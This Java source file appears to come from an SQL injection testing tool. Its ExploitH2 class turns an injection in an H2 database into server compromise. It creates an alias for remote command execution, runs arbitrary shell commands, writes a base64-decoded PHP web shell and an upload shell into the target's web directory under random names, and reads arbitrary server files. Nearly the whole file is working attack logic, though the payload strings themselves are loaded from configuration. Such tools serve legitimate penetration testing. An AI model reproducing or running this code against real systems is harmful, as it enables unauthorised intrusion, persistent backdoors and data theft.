1 package com.jsql.model.accessible.engine;
2
3 import com.jsql.model.InjectionModel;
4 import com.jsql.model.accessible.DataAccess;
5 import com.jsql.model.accessible.ResourceAccess;
6 import com.jsql.model.accessible.engine.h2.ModelYamlH2;
7 import com.jsql.model.bean.database.MockElement;
8 import com.jsql.model.suspendable.Input;
9 import com.jsql.view.subscriber.Seal;
10 import com.jsql.model.exception.AbstractSlidingException;
11 import com.jsql.model.exception.JSqlException;
12 import com.jsql.model.exception.JSqlRuntimeException;
13 import com.jsql.model.suspendable.SuspendableGetRows;
14 import com.jsql.util.LogLevelUtil;
15 import com.jsql.util.StringUtil;
16 import org.apache.commons.lang3.RandomStringUtils;
17 import org.apache.commons.lang3.StringUtils;
18 import org.apache.logging.log4j.LogManager;
19 import org.apache.logging.log4j.Logger;
20 import org.yaml.snakeyaml.Yaml;
21
22 import java.io.File;
23 import java.io.FileInputStream;
24 import java.io.IOException;
25 import java.io.InputStream;
26 import java.net.http.HttpResponse;
27 import java.util.UUID;
28 import java.util.function.BinaryOperator;
29
30 public class ExploitH2 {
31
32 private static final Logger LOGGER = LogManager.getRootLogger();
33 private final InjectionModel injectionModel;
34 private final ModelYamlH2 modelYaml;
35
36 public ExploitH2(InjectionModel injectionModel) {
37 this.injectionModel = injectionModel;
38 var yaml = new Yaml();
39 this.modelYaml = yaml.loadAs(
40 injectionModel.getMediatorEngine().getH2().instance().getModelYaml().getResource().getExploit(),
41 ModelYamlH2.class
42 );
43 }
44
45 public void createUdf() throws JSqlException {
46 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query");
47
48 this.injectionModel.injectWithoutIndex(this.modelYaml.getRce().getDropAlias(), "alias#drop");
49 this.injectionModel.injectWithoutIndex(this.modelYaml.getRce().getCreateAlias(), "alias#create");
50 var result = this.injectionModel.getResourceAccess().getResult(String.format(
51 this.modelYaml.getRce().getRunCmd(),
52 ResourceAccess.WEB_CONFIRM_CMD +"%20"
53 ), ResourceAccess.RUN_FUNC);
54 if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
55 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE UDF successful: command execution found");
56 this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
57 (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitH2().runRce(command, terminalID)
58 ));
59 }
60 }
61
62 public String runRce(String command, UUID uuidShell) {
63 String result;
64 try {
65 result = this.injectionModel.getResourceAccess().getResult(String.format(
66 this.modelYaml.getRce().getRunCmd(),
67 command.replace(StringUtils.SPACE, "%20")
68 ), ResourceAccess.RUN_FUNC);
69 } catch (JSqlException e) {
70 result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
71 }
72 this.injectionModel.sendToViews(new Seal.GetTerminalResult(
73 uuidShell,
74 result.trim() +"\n"
75 ));
76 return result;
77 }
78
79 public String createWeb(String pathExploit, String urlExploit) {
80 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: stack query, web+db on same machine, jdbc bridge");
81
82 String bodyExploit = StringUtil.base64Decode(
83 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB)
84 )
85 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
86 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
87
88 var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
89 this.injectionModel.injectWithoutIndex(String.format(
90 this.modelYaml.getRce().getCreateTable(),
91 nameTable,
92 nameTable, bodyExploit.replace("'", "\"")
93 ), ResourceAccess.TBL_CREATE);
94 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
95 this.injectionModel.injectWithoutIndex(String.format(
96 this.modelYaml.getRce().getScriptSimple(),
97 pathExploit + nameExploit,
98 nameTable
99 ), ResourceAccess.TBL_DUMP);
100
101 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
102 String result = this.injectionModel.getResourceAccess().callCommand(
103 urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
104 );
105 if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
106 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
107 return StringUtils.EMPTY;
108 }
109 this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess));
110 return urlSuccess;
111 };
112
113 return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
114 }
115
116 public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
117 String bodyExploit = StringUtil.base64Decode(
118 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
119 )
120 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
121 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
122
123 var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
124 this.injectionModel.injectWithoutIndex(String.format(
125 this.modelYaml.getRce().getCreateTable(),
126 nameTable,
127 nameTable, bodyExploit.replace("'", "\"")
128 ), ResourceAccess.TBL_CREATE);
129 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
130 this.injectionModel.injectWithoutIndex(String.format(
131 this.modelYaml.getRce().getScriptSimple(),
132 pathExploit + nameExploit,
133 nameTable
134 ), ResourceAccess.TBL_DUMP);
135
136 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
137 try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
138 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
139 if (result.body().contains(DataAccess.LEAD +"y")) {
140 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
141 } else {
142 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
143 }
144 } catch (InterruptedException e) {
145 LOGGER.log(LogLevelUtil.IGNORE, e, e);
146 Thread.currentThread().interrupt();
147 } catch (IOException | JSqlException e) {
148 throw new JSqlRuntimeException(e);
149 }
150 return urlSuccess;
151 };
152
153 this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
154 }
155
156 public String getRead(String pathFile) throws AbstractSlidingException {
157 return new SuspendableGetRows(this.injectionModel).run(new Input(
158 String.format(
159 this.injectionModel.getResourceAccess().getExploitH2().getModelYaml().getFile().getReadFromPath(),
160 pathFile
161 ),
162 new String[]{ StringUtils.EMPTY },
163 false,
164 1,
165 MockElement.MOCK,
166 ResourceAccess.FILE_READ
167 ));
168 }
169
170 public ModelYamlH2 getModelYaml() {
171 return this.modelYaml;
172 }
173 }